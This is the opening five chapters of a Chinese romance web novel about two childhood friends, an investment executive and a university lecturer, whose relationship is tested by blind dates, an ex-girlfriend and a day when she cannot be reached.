《目标:竹马》
1. 1、希望&祝愿
夏日,城市在午后经过了许久的醒神才随着温度的降低而逐渐火热起来。老城区前些年轰动一时的新地标建设项目——“第一高”,自落成后就笔直的端在那儿。但凡天朗气清,无论你在老城区里从任何角度、任何方向,总能在抬头的那一不经意间,掸眼就瞧见似是要戳进云朵里的那几个老大的英文字母“IFC”,下面那行方方正正的注释小字倒是要稍微离近了才能看清“某省国际金融中心”。
这么个项目,自招标开始就备受全城老少关注,建成后更是青年们趋之若鹜的办公场所。然而租金使然,最终在这里出入的都是人们眼中的尖尖儿和幸运儿。
而这些尖尖儿和幸运儿的进出无疑都是步履匆忙、走路带风,更有甚者来无影去无踪。
唉?此刻正垂头丧气,走出来的这位女士是怎么回事?
被炒了还是面试失败?
楼上,某层,某间在这栋楼里规格近乎奢侈的办公室。
从室外大阳台闪了进来个男人,男人身影修长、动作的干净利落,就颇有点那个来无影去无踪的意思。
男人边往办公桌前走,还边控制不住似的往落地窗外望。
办公前,直挺挺的立着名从穿着到发型都十分职业的女性。
职业女性十分职业的对男人微微收了收下巴,道:“希总。”
希总终于再不回头,径直坐到自己的办公椅上,揉了揉自己似是怎么都揉不平的眉心,声音不太高的问道:“走了?”
“走了。”职业女性依然职业的点头,但看着面前男人明显走神的看着手里急要的资料,眼睛里多出了那么点儿特别不合时宜的灵动。
“老板,”职业女性像是瞬间放下了职业,自作主张的临时下了班,“祝老师……”
只见被称为老板的希总,一个十分有威慑性的抬眼,职业女性自觉的闭了嘴,重新挺直了脊背,恢复上班。
当然,这个闭嘴只是表面上的闭嘴,职业女性梁倩女士此刻内心是翻滚的并且翻了个白眼。面前的这位希总大名希望,是她所在这家通明资本管理公司大区负责人。年纪这么年轻的大区负责人在业界都可以说是凤毛麟角了,而面相也这么年轻兼而毛发还如此健全的,梁倩几乎可以拍胸脯说,独家精英。
据说,当年国内股票市场长达几年盘桓于千点之下丝毫不见起色,当时希总正是芸芸海外求学学子中的一位,也不知道什么契机使然,就因为那些“高杠杆、好大胆、都是赚”的投资圈并不陌生的出名手段出了名。
据说,他本科第三年开始那什么知名街和某些知名机构的橄榄枝就快向他摇断了,所有人都没想到他会在兼职丰富业内知名度日盛的同时拿到博士学位后不久赶不及似的回国了。
这最后一个据说是,同样曾经少年成名的公司大boss只是跟风一样伸去了橄榄枝,得到回应说“因为看好公司的新大区计划而要加入”时一点也不比别人吃惊小。资产管理公司,希望就是资产本资。要新大区,立刻给了新大区。
新大区总部上季度才刚刚设立在此间,而梁倩到这没多久就觉得自己知道了选址于此、于这个城市的原因。
坐着的希总终于签完了手上的文件递还给梁倩,梁倩已经起势眼看就要转身,只听希总开了口:“你……”
紧急收势,垂眉站立,尽全身努力忽略老板的犹豫等什么复杂的情绪。
“订个明晚的晚餐,两个人、私人的、中餐、精致点的、安静点的,”希望说话又拿起了手机,像是查看了什么才继续道,“明天下午所有事情都压到后天。”
梁倩一面鄙视自家老板,一面询问的看向他,意思是,还有吗?
果然就听希望又道:“辣口的。”
梁倩说了句“好的”,就出了希望办公室,出办公室门就立刻真真切切的槅门来了个纯白的白眼。
就折腾吧。一边不理人,一边还哄着,矫情什么纯洁的青梅竹马关系,哪有什么纯洁的青梅竹马关系!
梁倩是带着一路的纳闷跟着希望从总部来的H市,新大区内要说最好的位置非M市莫属,天才的眼光到底是怎么一眼相中H市的呢?
直到他们甫一到H市就出现的老板青梅——祝愿。
就是刚刚低眉丧眼走出去的那位女士。
低眉丧眼的祝愿在IFC楼下的公交车站仰天忘了半天,终于在觉得这夏天的日头果然名不虚传的时候,随便上了辆公交车,坐了一站路,笔直到了老城区最热闹的商场。
想着这种事既然躲不过去了,那么不论内心多不愿意,面子这事儿还是不能丢,是时候置办行头了。
祝愿先去负一楼买了杯冰美式,超大杯。这人有咖啡瘾,要做什么之前,仪式似的都得来一杯。逛街这种非必要不进行的活动,当然也要来一杯。
等咖啡的时候,手机正好收到了封邮件,学生在所里实习,想让她帮看看。于是拿了咖啡,她顺势就在咖啡店里又坐下了。
梁倩最开始知道祝愿是因为希望要立刻在H市买车。当时希望提出来的时候,梁倩第一时间提醒了自家老板大boss那里是给他配了车的,种类纷繁、数量管够,而且就算老板坚持要买车她可以提前几天去,不急在这一时。
然而,她心里少年老成、特别稳重的年轻老板就非是要急在那一时。
那时候新大区总部刚刚筹办,大事、小事、琐碎事,梁倩为自己分身乏术愁了好几分钟后,希望就让梁倩去找个中介办理上牌异地的问题。梁倩很自然的就想到私人证件交给不认识的中介的隐患问题,老板却连这个也帮她想好了,让她把需要上牌的证件寄给当地的一个朋
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友那儿,让朋友帮忙拿着陪黄牛办好后再立即给邮回来。
梁倩当时想的是,这和直接让朋友去办有什么区别,干嘛还要找黄牛。不过这个疑问在梁倩知道联系人的真实姓名叫祝愿的时候,已经完全忘记了,真不是什么亲生兄妹之类的?这两人名字是精心但不认真设计过的吧?
和祝愿的联系,梁倩除了知道她是H大的老师外,就觉得这是个说话做事十分简明的人,一句废话都没有的直来直去,和自己希老板更像亲生兄妹了。但是两人一样的风格,搞的梁倩愣是没敢跟任何一个本人求证。
直到跟着老板到了H市,见到了祝愿本人。
那一天是春日里难得的风和日丽,在IFC的楼下身上风衣翩飞的女人倚在车门上玩手机,希望几乎一眼就看到了她。
“祝维诗——”当时希望张了张嘴,犹豫了一下才这么喊的。
女人闻声抬头没说话,看了看喊她的人,又看了看跟着那人身后的梁倩才锁了车门走过来。
希望给她们相互介绍说:“这是我助理梁倩,这是我小时候邻居家的孩子祝愿。”
梁倩:“……”
哦,长得不像,应该只是单纯的邻居关系。对了,那祝维诗又是什么?
祝愿含蓄的白了希望一眼,对梁倩说:“你好,希望总跟我说他刚回国助理小姐帮了他很多,只觉得你很能干,没想到还这么漂亮,比照片还漂亮。”
都是交换过社交账号的网友,照片大都轻易就能看到,女孩子第一次见面被这样夸奖,特别是同性之间,无异于给留下了个喜爱的印象。而这个喜爱的印象甚至于直接导致之后希望再让梁倩为祝愿做点什么事情,跑个什么腿动作都进行的十分流畅。
比如,希望在第二天就让梁倩把祝愿送过来的新车又给她开过去,说他这里的车够用了,学校在郊区,留给她用更方便。
比如,希望见了某个美妆行业大佬,对方随手就送了几箱美妆产品,梁倩就又跑了腿。
比如,又是见客户,约的饭点,不知那家饭点哪道菜触动了希望的味觉,梁倩就会默默得到指令,单点、打包、跑腿。
才来H市没多久,可是从这个城市各个角落到H大的路线,梁倩都已经能了然于胸。就在她脑补了第九十种青梅竹马从青春期开始的爱恨分离后再重逢的故事后,自然而然开始觉得新大区总部选址于此和天不天才的眼光没关系,她当时甚至觉得窥觑到了希老板不理各种橄榄枝而回国的原因。但怎么也没想到,就在这周一上班的时候,她接到了老板崭新的指令“祝愿找我都说我不在”。
其实祝老师好像不怎么找希总,只是这话刚传下来,竟就找了好几次。
梁倩叹了口气,想着之前打包的口味,打开了手机美食点评app找餐厅。
……
2. 2、也是师母介绍的
2、也是师母介绍的
H市地区美食app上好评排名前十的除了火锅就是小吃,考虑到道歉哄人的用途,梁倩灵机一动把好评优先改成了高价优先。
这是一家位于老城区护城河边私人别墅改装的小餐馆,从上传的菜单和图片来看,是祝愿反馈过在她看来下饭的本地私房菜。
日落不久,夜色清淡的拢住护城河,岸边的景观灯青的、绿的小心排着,水汽跃跃欲试,目之所及像额前遮着薄纱。与河堤上整齐划一的别墅不同,这里的别墅孤零零的点在林间,而它们曾经的拥有者也更加讳莫如深。
如今一座座孤零零的别墅都有了各自不同的商业色彩,祝愿去的这家的金黄色的,暖色的灯光从堤岸上沿着鹅卵石小道一路引到屋内。
一楼大厅没有摆餐桌,祝愿被直接带上了二楼。老别墅的格局在现在来看格局略显逼仄,但老板似乎并不在乎,二楼竟然一上楼又经过一个小厅才到了餐区。一目了然,只有三张餐桌,分别只用了缂丝的、几乎透明的屏风相隔,看上去格局更像通常的茶舍。祝愿被领到放着预约牌的位置上,她是早到的那个。
希望到的时候,服务生给祝愿上了热茶刚退开,她怕看不见来人,坐着脸正对着入口的位置,就那么刚好,谁也没挡住她看到人。
俗话说得好,敌明我暗、敌不动我不动,相对走道来说处于暗处的祝愿一时间并没有被发现,这也给了祝愿时间及时看到了希望身后那人。
那人长发将将及腰,着极贴身的连衣长裙,看上去凹凸有致又及其修长,是那种即使不是跟希望一道,也会让祝愿侧目甚至流连两眼的类型。大概是女人的视线所及和男人的天生有区别,明明前一个人瞥都没瞥的地方,后面的女人却是很仔细的看了,且瞩目后好像脸上还闪过一丝祝愿没看懂的表情,只见女人快步走到了男人的身边,拽了拽男人的胳膊,男人微微侧目脚步稍慢,就着她凑上来的细声细语,挑着眉走出了祝愿的视线范围。
好面熟。
好险没在看到他的第一时间表示惊喜。
那二人绕过屏风坐在了祝愿背后那桌,明明精心设计过的灯光,背靠着屏风祝愿却觉得能分明的感受到另一边的人影晃动。
女人的声音似是被环境所迫刻意压低了的气声说了句什么,而男人则是正常的音调道:“尝尝看吧。”
希望应该是坐在了和祝愿背靠背的位置上。
祝愿低头看了看自己的今天的穿着,昨天在咖啡店回复完邮件眼看着就要到她晚上上课的点了,只能匆匆去买惯了的店铺,买了两件惯穿的款式,就那么在镜子前比划了比划就埋单拿了就走。
配上今天下课后补的一般人看不出来的淡妆,可以说很……知性?
祝愿的身体不觉往下缩了缩。
二楼再次上客的时候,祝愿的手也同时振动了起来,她狠狠的叹了口气,却并没有怎么提起精神的往正拿着手机边往里走边看的瘦高身材、穿宽松绿色条纹T恤休闲裤的男人招了招手。
男人和服务生道谢后三两步并到桌前,晃了晃手机确认道:“祝愿?”
“嘘——”祝愿微笑着小幅的点了点头,食指轻点在唇上,眼珠还不住想要往后看似的左右晃。
男人这才又打量了一圈周围,坐下的同时用比刚才低不少的声音抱歉道:“呵呵,不好意思,我也没想到这里是这样的格局。”
祝愿想着刚刚这位先生那一声,希望但凡没有听力障碍一定是听到了,也就把自己的音量控制在了正常偏低,微笑道:“你也第一次来?”
这地方挺不好找的,她看到希望也把人往这儿带,而且听到点菜也全都是他点的,第一反应觉得来这儿的应该都是熟客。
“嗯,你说你喜欢本地私房菜,我问了朋友。”对面男人也微笑道。
男人很自然让祝愿先点餐。
这人看上去很年轻,实际也年轻,至少在祝愿看来是这样,是小时候最喜欢的那种阳光大男孩类型。男人叫胡西,是绝对不能拒绝的师母第……不晓得多少次给介绍的,也和以往一样这是她某同学的学生,是个某知名手机品牌的研发工程师。至于介绍的起因,不用问祝愿都知道,这是看着她长大的师母又见人就托,托来的。
起先真没什么,祝愿觉得年纪到了,见一下就见一下吧,不成当交个朋友。但见的越来越多,不成的一个接一个,祝愿渐渐有种感觉,是不是老师和师母所有认识的人,都知道他们有个老大难的学生了?再者,从去年底到现在她认识了一票比她小的年轻男孩子,她觉得她快失去正常和陌生男性沟通的能力了。
这也是祝愿那天发那条消息给希望的原因。但就算发了那条消息,就算希望这些天一直躲着他,都没就这么着遇见了还背靠背坐着尴尬。这仿佛是二人之间高中毕业之后第一次生出尴尬这种情绪。
然而,谁也不能怎么样,背后的人好像也只是偶尔才低声交谈,祝愿按照习惯拿起了手机全无目的的划来划去。
不,是以逃避沟通为目的划来划去。
特别棒的是,胡西把菜单还给服务生后也拿起了手机。
手机从新闻看到热搜,又使劲儿翻了评论,祝愿突然想到了什么似的,手机屏切到聊天应用,习惯性往下翻,翻了好几页才翻到希望的对话框。
祝你生日快乐:没分手?
她想起来了,那个女孩是希望留学不久就交往的女朋友。那会儿隔着几千公里,两人自出生以来就没离那么远、那么久,大概距离和时间产生美、产生黏糊劲儿,图片分享几乎一有空就来,刚有女朋友的希望自然没有漏掉女朋友的照片。也就是从传女朋友照片开始,两人因为距离产生的啥都开始淡了。所以,这个女朋友祝愿很有印象,只是没见过真人,刚刚见到人的时候她只是觉得眼熟。毕竟希望刚回来的时候,她问过他女朋友哪儿去了,希望只是愣愣的说了句“分了”,不怪她一时没对上号。
还没等到祝愿翻到刚刚翻到的评论,手机就振了一下,收到了新消息。
却不是希望。
胡西:是不是有点尴尬?
祝愿稍稍抬头瞄了一眼对面,见对面没事人一样的划拉着手机,就低头回复了。
祝愿:
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确实
胡西:不好意思,我也是没什么经验[捂脸][捂脸][捂脸]
祝愿:没事[微笑]
胡西:完了,我没词儿了[捂脸][捂脸][捂脸]
祝愿:没事儿,你想想再说[微笑]
胡西:现在咱年轻人不兴这个表情啊[捂脸][捂脸][捂脸]
祝愿内心也是来了个捂脸表情,心说我能直说我就是那个意思吗?
大概不能?
祝愿又点进和希望的对话框,确认系统没有漏发新消息通知后,干脆就锁了手机屏,抬头道:“你也是陈教授的学生吗?”
声音不高不低,估摸着背靠背和面对面都能听得清。
胡西顺势也收了手机,笑道:“对啊,她是我硕导。”
祝愿:“啊,那你是哪届的?”
胡西答道:“我刚毕业两年。”
其实这都是废话,这两个问题师母都跟她说过,这看上去就像是她在给胡西解围,解没话题的围。
只听祝愿继续又问道:“那你认识郑戈生嘛?”
“认识啊,那是我直系师兄啊,”只见胡西双目瞬间有了神采似的,那是终于有共同话题的样子,“你们也认识吗?他国庆要结婚了吧!”
显然这答题里有祝愿意料外的答案,只见她不自觉的挑高了些眉毛,道:“唉?怎么这么快……”
胡西道:“你不知道啊?你们怎么会认识?”
“就去年夏天的时候认识的,”祝愿边答还边回忆着什么道,“也是我师母通过陈教授介绍的。”
场面瞬间静止,但也就一瞬间的事情。
“咳咳咳咳——咳咳——咳咳——”
背对背的位置上在静止的瞬间发出了剧烈的咳嗽声,男声的、熟悉的。
祝愿的眼珠子猛的晃了两晃,端起了面前的杯子遮在面前,痴心妄想似的试图只通过调整眼珠子的位置看到身后。
“这儿私密性真太差了。”对面胡西用着祝愿羡慕的角度肆无忌惮的看着屏风方向捏着嗓子、掐着气声道。
那边除了咳嗽声什么都听不到,祝愿也学胡西的声调道:“也还行吧。”
“你师母很关心你啊。”胡西稍微大了点儿声道。
祝愿也不知是自己分心了还是没想到对面竟然能接上,稍愣一下才道:“大概导师没什么女徒弟。”
“没什么?”胡西脸上毫不掩饰是憋着坏的笑问。
祝愿也笑了,像是今晚第一次开怀似的:“就我一个。”
“哈哈,”这一笑,胡西明显松了一口气,“我们专业也是,大熊猫似的。”
祝愿却满脸不认同道:“就刚认识那几天吧?”
胡西明显回忆了一番才道:“专业都不容易,确实顾不上男女了。”
这边尴尬的气氛明显缓和了不少,而另一边长久的过分安静,女人从桌子底下不轻却也不重的踢了了对面的男人一脚。
男人微微挑眉眼睛从看了好一会儿的来信手机屏上离开,只见女人面上满脸耐人寻味的看着自己。
……
3. 3、祝维诗和希霍普
3、祝维诗和希霍普
希望只是把眉毛挑的更高了些,那是一副誓死不打算开口的模样。
只见对面储圆圆笑的成竹在胸,微微前倾了上身凑近了些绝对小声的问道:“我是你最新的前任吗?”
希望本能的向后靠了靠,边若有所思的看着她边摇头。
他们分手的时间其实远比祝愿知道的早的多。
“哦?”储圆圆保持那个姿势嘴角笑意更深,“那么……你的前任们中有人不认识……”
储圆圆拖长了音,深深的往希望脑后看了眼,见希望也随着她狐疑的瞟了一眼,才继续道:“祝愿的吗?”
“祝愿”明明只用了唇语,对面的人确“听”的分明。
“你认识?”希望的音调明显在可控的范围内小小的失控了。
储圆圆明明意料之中却难掩满脸不解,反问道;“你为什么会以为我不认识?”
“我不记得我跟你提过。”看着储圆圆好好儿的坐回位置上,希望虽然放松了脊背但脑中并不放松的在检索着。
“是没刻意提过,”看希望满是求知欲的望向对面,储圆圆只是小声嘀咕道,“你自己都不知道的时候提过才奇怪吧。”
只见希望脸上的求知欲更明显了些。
储圆圆好不好指了指希望脑后的屏风,问道:“我回来你就给我吃这些,并且还是顺带的?”
屏风另一边的声音断断续续、似有若无,眼前的人不知道自己有没有注意到自己总是偏头侧耳。
“我说这个真是巧合你肯定不信了?”希望看着面前的菜深深的吐了口气,带着种由内而外的自我放弃感道。
储圆圆看着他那样子想相信,又觉得哪里明显不对,问道:“你难道不知道我难得回国,无辣不欢?”
满满一桌子改良了的H市风格少油少盐,热腾腾却清淡的与储圆圆来说丝毫香气没有的,仿佛默默在宣誓着什么。
“我发誓我跟助理说要订辣口的餐厅了。”希望下意识想用手指天,但显然觉得动作过于可笑就只混沌的划拉了那么一下。
“我明天会帮你好好儿问问她。”说这话希望的心里当然已经有了答案,这不肯定是以为是要和背后这会儿显得特别安静那人吃饭?
……
梁倩第二天当然是并没有等来希望的“好好儿问问”,当然到底是希望压根儿没打算问还是顾不上就不得而知了,她只知道快到傍晚的时候自家老板在办公室待的好好儿的突然就推门而出匆匆走到她的工位前,让她去H大把祝愿接过来,说完自己就更匆匆的出了门。
希望一路自己开车到了高铁站下客平台,稳稳停在了一位穿着气质清雅、长相与祝愿几乎无二的年长女性身前。
“汤教授——”希望摇下车窗称呼道。
被叫的汤教授看来人明显一愣,像是长时间没见面的面部识别过程,但很快她低下头往车里前后看了两眼,看上去并不是很高兴的迅速上了车。
“诗诗不在你那儿?”上车后汤教授往空空的后座又看了一眼,问道。
“真不在,您过来之前没跟她说好?”
“哼——你就帮她躲着吧!”
“欸?”希望想说真不是,却又没太敢顶嘴,心里想着待会儿见了面非得找补回来。见面……一想到见面他又开始有点发憷,都是祝维诗的错就对了!
副驾驶位上这位从长相来看很容易判断出是祝愿亲妈的汤教授,全名汤苡,是车里司机小伙儿父母M大的同事、同事夫人及从有记忆起M大教职工楼里对门的邻居阿姨。
而汤苡口中的“诗诗”、希望脑子里的“祝维诗”,正是祝愿本人。这个称号的由来要从……从两个小朋友刚出生的时候开始说吧。
两家人因为要好而变成了邻居,女主人汤苡、梅疏先后怀孕,话题大概是汤教授先开的头,她说她家小祝这个姓,起个什么名字好,祝你生日快乐?梅教授也不知道是不是就随口那么一答说,那就叫祝愿好了,你家叫祝愿,我家就叫希望,还姑娘、小子都能用,省心。当时托着肚子的汤教授明显是被同样不轻便的梅教授最后“省心”俩字儿打动了,这事儿竟然就那么着定下并且实施了。
俩孩子相隔不到一个月先后出生,就那儿么悬赶上了了同一个星座,希望生在11月30日,祝愿生在12月21日。大约就从那年圣诞节汤苡出院回家开始,俩孩子开始了如连体婴般的童年。
希望从小被嘱咐要照顾妹妹,M大附属幼儿园、附小都位于另外一个校区,希望的小手就牵着祝愿的小手每天蹭校车上下学。
那不一般的名字就来源于小学的某天,那是孩子们的第一节英语课,保留进程,老师让每个人都给自己取个英文名。
说是自己给自己起,还不是考验的孩子们背后的教授、老师们。但祝愿不是,祝愿是出了名的听话,老师说是自己给自己起,每个字眼都会被执行的很彻底,那天她回家就让希望站板凳上给她够书柜几乎是最上边的、看上去最厚的英汉双语大词典。
小祝愿拿着字典靠坐在书架上就开始翻,热情高涨,小希望就从另外一侧的书架上找出了武侠小说开始看,不准备动什么英文名的脑子。
于是当天晚上,大人们回来的时候就被告知了孩子们的英文名,他们是Wish小姐和Hope先生,据说都是小祝愿亲自翻的词典。而诗诗,是小希望亲自音译的,他们是祝维诗和希霍普。
梁倩的电话打进来的时候,希望的车刚驶出高铁站,他小角度的转脖子大角度移眼珠子往副驾看了一眼,被汤教授看个正着。
“不接?”汤教授乜着中控中控此刻为来电的大屏幕。
“咳——”希望并不敢多言的按了接听。
“老板,祝老师不在学校啊,电话打不通就打了她事务所那边的电话说祝老师今天没过去也没说会过去,也问了她隔壁办公室的老师,说是今天都没来,宿舍找了,也不在。我查了她的课表,下午本来有课的,那课现在是别的老师在上,应该是提前请假了。”
电话甫一接通,梁倩呱呱一股脑都给说了,希望只好答让她先回公司,脑子里飞快的回忆祝愿关于请假的习惯、可能会去的地方,当得到答案是祝愿即使生病只要起得来床都不请假时,他才
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后知后觉联想到昨天。
昨天后来祝愿和那个男的是提前走的,走去哪儿了?是整晚没回去还是早上出的门?整晚没回的话……
“你真不知道诗诗在哪?”汤教授打断了希望的脑动。
“您来到底是做什么的?”希望没答问题,因为答案显而易见。
汤苡正色道:“前天跟她通话的时候,她跟我提到她导师家那位又给她介绍对象了……”
“您也……”听汤苡这么说,希望不免有些烦躁,他实在不能理解,到底是为什么现在社会要给女性这样的时间紧迫感,就连一个现代知识女性的母亲对一个现代知识女性的女儿也不能避免吗?
“我当然不是来检查作业的,”汤教授面带难以置信的也打断了希望,“我是发现她现在现在提到相亲这事状态不太对,而且她自己也说觉得自己得了‘恐男症’,想过来给她个抱抱。”
这回轮到希望面露难以置信,他觉得汤教授一定是说笑的。
“早知道前天给你打电话了,你要帮我给她一个抱抱,她今天肯定不会打电话不接的。”
希望沉默了,早知道……
早知道吃饭的时候碰到肯定上前叮嘱两句,早知道她发消息的时候肯定给她回音,早知道一定不会因为觉得她不是第一次相亲就忽略她对这件事的不适应,早知道前天下午肯定不躲着她,早知道那天晚上收到她消息的时候一口答应她!
可现在人呢!
“您有她师母电话吧?”
“有,”汤教授说话拿出手机,“怎么?”
希望把车停到路边,道:“您给打电话问下昨天那个男的电话。”
……
“你们昨晚吃晚饭去哪了?”
某知名个手机品牌研发园区门口停了辆偶像剧里霸道总裁常开的车,车的副驾驶上坐个人看不清样貌,车外两位身量修长的男士面对面站着,一位挺拔、一位随意,随意的那位胡西被叫下来的时候还有点懵懵的,面前的人说是祝愿的哥哥。
时间节点间隔过于短,胡西没经过思考就答道:“昨晚我们在环城马路那边吃的饭,吃完饭我就提议在河边转转,她说水边蚊虫多就算了,然后她又开了车,我们在路边的咖啡店买了杯咖啡就各自走了。”
“没在咖啡店里喝?”希望直觉这人没说实话,买了咖啡各自外带回家是相亲?
汤教授给祝愿的师母去电话又不方便直接问,只是失联了这一会儿也不好说出实情,怕影响不好,只拐弯抹角的说想问问昨天那个对象的情况,旁边希望灵机一动就直接让她问了单位在哪,电话还没挂车就直奔了这里。
“我家狗有些不舒服所以赶着回家,”胡西看着希望实在不明白这位哥哥现在这样是为哪般,但还是道,“再说她好像也有些事……”
希望再次毫不掩饰的上下打量了胡西,心里想着怪不得好好个大男人要通过相亲找女朋友,嘴上提问道:“你今天给她发消息了没?”
到这个问题胡西心里了然,这是位替妹妹恨嫁的哥哥,憨笑了下道:“发是发了,但是她还没回。”
……
4. 4、五分钟内回复有效
4、五分钟内回复有效
祝愿本科时候因为专业或者说就业的过分性别倾向,班上一共就俩女生。又因为专业的难度问题,两个女生即使分别被分在不同的寝室,依然结下了深厚的情谊。
所以当另一名女生尔默因为情伤,时隔六年后再次回到H市并且向她求助的时候,她当然毅然决然的就请了假。
两个女生在酒店房间通宵奋战,犹如多年前毕设截止日前夜。于是,祝愿知道自己搞了个乌龙失联的大事情已经是第二天下午,告诉她这一消息的是甫一接上充电宝的差点卡死机的手机消息。
祝愿当即把尔默丢给她尚未破镜重圆的前男友申宥,自己有些灰溜溜的就跑了。
拿在手上的手机毫无预兆的振动起来,祝愿的小心脏也随之猛的一振,来电:hope。
祝愿没敢接,只捏手里看着,脑子里过的全是这将近一天一夜希望给她发的消息。
hope:你人呢?
hope:说话
hope:你不给我回消息,给你妈回一个,她在我这
……
hope:真生气了?
hope:我就没回你6条消息,上条就已经翻倍了
……
hope:答应你了行不行?五分钟内回复有效
hope:在忙什么?一小时内也行
……
其实没什么原则嘛,祝愿想。
答应?能答应那么那个女生是分手了的咯?祝愿又想,但别说五分钟,五小时都过去了,哎。
手上的振动终于停了,祝愿坐在出租车后座上深深吸了口气。
嗡——嗡——
手机再次振动都没等祝愿那口气开始往外出。
可是这次没持续多长时间,也就半口气的时间。
紧接着是一个短振动,是消息。
hope:来我家
hope:汤教授也在
hope:接电话
一连三条消息,祝愿都没来得及思考要不要回复,电话就又进来了,这回按接听像是下意识的,就那么一刹那。
就那么一刹那,电话两边都没声儿。
最终希望叹了口气才道:“坐上车了?”
“嗯。”祝愿嘴上答应着,眼睛左右瞥了瞥,这都能听出来?
“出租?”
“嗯。”祝愿不自觉又去看了看正在开车的师傅,希望派的?
“本来准备去哪的?”
“唉?”祝愿这才反应过来这家伙根本没给他时间改地址,赶忙伸脖子跟司机重新说了变道的地址。
电话里又静了下来,祝愿仿佛隔空看到了。
“说话。”希望低声喝了一声。
祝愿几乎是本能的立刻道:“说什么?”
希望又叹了口气才道:“你自己想想。”
“我手机没电了,在帮尔默赶图,没顾上,也不知道你们要找我。”祝愿弱弱的,但不带停顿的说了话。
“嗯,知道了。”希望的声音依然不高,像是怕给什么人听去了似的。
“啊?”
“别再乱晃了,等你吃完饭。”希望的声音稍微重了些。
祝愿抬手看了眼表,道:“去哪吃,我直接去。”
“就我家。”
“哦。”
“汤教授在做饭。”
“哦。”
……
站在希望家门口,祝愿最后低了会儿头才按了门铃。
开门的是希望,朝她扬了杨眉才侧身给她让了路。
至此,祝愿觉得她其实也没惹到个什么大事情。
希望接过祝愿手上装着笔记本电脑的包,给她往餐厅方向指了指,汤教授正在坐在餐桌边玩手机,餐桌上不能更家常的三菜一汤已经摆好了。
“咳——”祝愿站到她妈身边,并不知道该说些什么好。
“哦,”汤教授仓促抬眼看了女儿一眼道,“洗手吃饭。”
“哦。”祝愿连跑带跳就转身去了。
希望从另一边跟她先后脚进了洗手间,在她身后站了一会儿问道:“熬了一夜?”
祝愿抬头从镜子里看了看身后的人,又看了看自己眼下的颜色,撇了撇嘴道:“早上睡了。”
“等下和阿姨回去?”
祝愿抬头朝镜子里的希望撅了撅嘴,道:“不想回。”
“尔默待几天?”
“她这会儿跟申宥应该碰上面了,待几天应该都跟我没关系了。”
“呵,”希望低头低声笑了道,“那你这两天别回学校了。”
祝愿转头:“为啥?”
希望不答,从洗手台侧递擦手巾给她,脸上写着反问:你觉得呢?
祝愿和希望对视了两秒,遂摇头晃脑的表示了然,是不能回去被尔默逮到当拒绝人家的借口,边想着就边加快了走到餐桌边的脚步,对汤教授道:“妈,我们晚上回去吗?”
希望跟在后面屈起食指挠了挠鼻尖。
“你回去干嘛?”汤教授看两个孩子都站到了桌边,收起手机,上下打量着自家女儿道,“这会儿期中了,不忙?”
“忙。”祝愿低头也屈起食指挠了挠鼻尖
汤教授似乎是被气笑了,问道:“忙还关机?”
“手机没电了。”祝愿仿佛老实交代道。
汤教授只看着孩子,嘴角的笑淡了许多,变成了似乎是冷笑又似乎是嘲讽。
祝愿赶忙解释这绝对不是自己蹩脚、易拆穿的借口,说是手机电池老化没电的完全没想到,并表示明天就去换新手机,汤教授这才结束这个话题,三人才开始吃饭。
“这个炒干丝好多年没吃到了。”希望嘴巴包的鼓鼓的,说出的话咕嘟嘟的,那是外人绝没见过的小希望。
汤教授在心里算了下,可不好多年了!小希望上次在她家吃饭仿佛还是祝愿要来H大上学前一晚,那时候他父母已经在国外定居,受他父母委托也是打他出生起培养的情谊,汤教授自然就把全盘关照小希望的任务给接下来。当初这孩子自己坚持留在国内读完高中,又自己做主申请了和父母相隔半球的学习,当中好不容易回来好像还只是去H
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市看了祝愿就走了。这么想着差点眼泪没掉下来,道:“端午节你俩一起回来,我给你做一桌。”
“我能要豆皮炖肘子吗?”
大概谁也没想到希望会直接进入点菜程序,祝愿嘴里包着饭暂停咀嚼望向他,汤教授明显从感怀转到了大笑,大笑着答应。
“那我要大河虾黄瓜炸酱,”祝愿也嘟囔着不太张得开的嘴举手道,“自从他不在咱家吃饭,你就没再做过了。”
其实,事实是,在希望父母出国前,俩孩子饭点基本都是拿着饭卡流连于M大各大食堂的。汤教授勤于回家做饭,也就是希望再没别地儿吃上那么一口家常菜之后,祝愿其实是沾了希望的光才能吃到自家妈妈的手艺。
祝愿最终是靠的死皮烂脸和汤教授回去过了个周末,周一一早到了办公室就收到了来自梁倩的人肉同城快递,一新手机,祝愿记得这款手机是今年主打卖点除了主流的摄像和处理器外,还有个特别的是电量大特别?
换手机的过程是梁倩主导的,不知道是生怕祝愿不会还是生怕她忘了,反正是换好了之后,又申请和她互关了所有主流社交账号之后再走的,至于原因,梁倩说,她不想再经历一次boss找不到祝愿的过程了,来自boss的心理压力和顶着这个心理压力跑断腿,那一整天她太难了。
当然,梁倩肯定没想到,在回去路上,她因看到在祝愿的某个社交平台上晒出老友重逢一桌子的电脑、图纸照片,而松了一口气感到如果再有第二次,自己多了一条门路的同时,祝愿也在那边打开了因为是互关而开启了一扇什么窗。
一整周,希望再没不回复祝愿消息,只是也在没提失联的时候说要答应她的事情,也若有似无的依然在躲着她。比如,祝愿想约他和刚确定在H市工作的尔默一起吃饭,他会连天的说有应酬。
这天,祝愿特别顺手的反复刷到梁倩的主页。
“为boss临时要的周末晚的指定包厢跑断腿”,配图是精心美甲后的手持奶茶,图下有定位。
怡江来仪酒店共40层,主营住宿,但是和住宿一样有名的是酒店仅二层对外营业的餐厅,无论是传统中餐、融合中餐、创新中餐亦或是你想预约一顿其他国家特色餐,不仅菜品上乘而且时常推陈出新,非节假日包厢至少要提前一周方能订位,而婚宴坊间流传得提前两年才能订到。
祝愿到达的时候在门口来回晃了半天,她已经上二楼去问过了,虽然都不用问也知道肯定没位子,而她约了尔默下班后来吃,总要稍微努力一下,上去留了电话,非常客气的专业的前台承诺了她,万一有翻台或者临时不来的情况会及时通知她。但也不知道她还要及时通知多少然,当然也能直接去找申宥给她协调,要是没个别预留的位置,梁倩就是真的跑断腿,也要不到包厢不是,但尔默肯定不喜欢那样,况且她还能真的不怕希望碰上了不管?
人大概不经琢磨,这边心里琢磨,那边就看着一群全眼熟的人从电梯间鱼贯而出。
低下头还是迎头碰上,祝愿在一瞬间选择不要那么直球,于是为首的一个人就开口叫了她。
……
5. 5、晕是真的
5、晕是真的
“小祝愿?”
一群人初夏还西装革履的,显然是刚在楼上什么地方散会,首先发现祝愿的是走在头里眼神好的陈宇,他是祝愿的师兄,都是从本科跟老师后面画图打散工起,就熟起来的人。鉴于这个专业的特殊性,很快一个又一个师兄发现了她。
“祝老师啊?”蔡小铭师兄道。
“嘿,你们谁通知她的?”潘逸师兄道。
“申宥他们班一半的女生呢,申宥自己通知的呗。”陈宇又道。
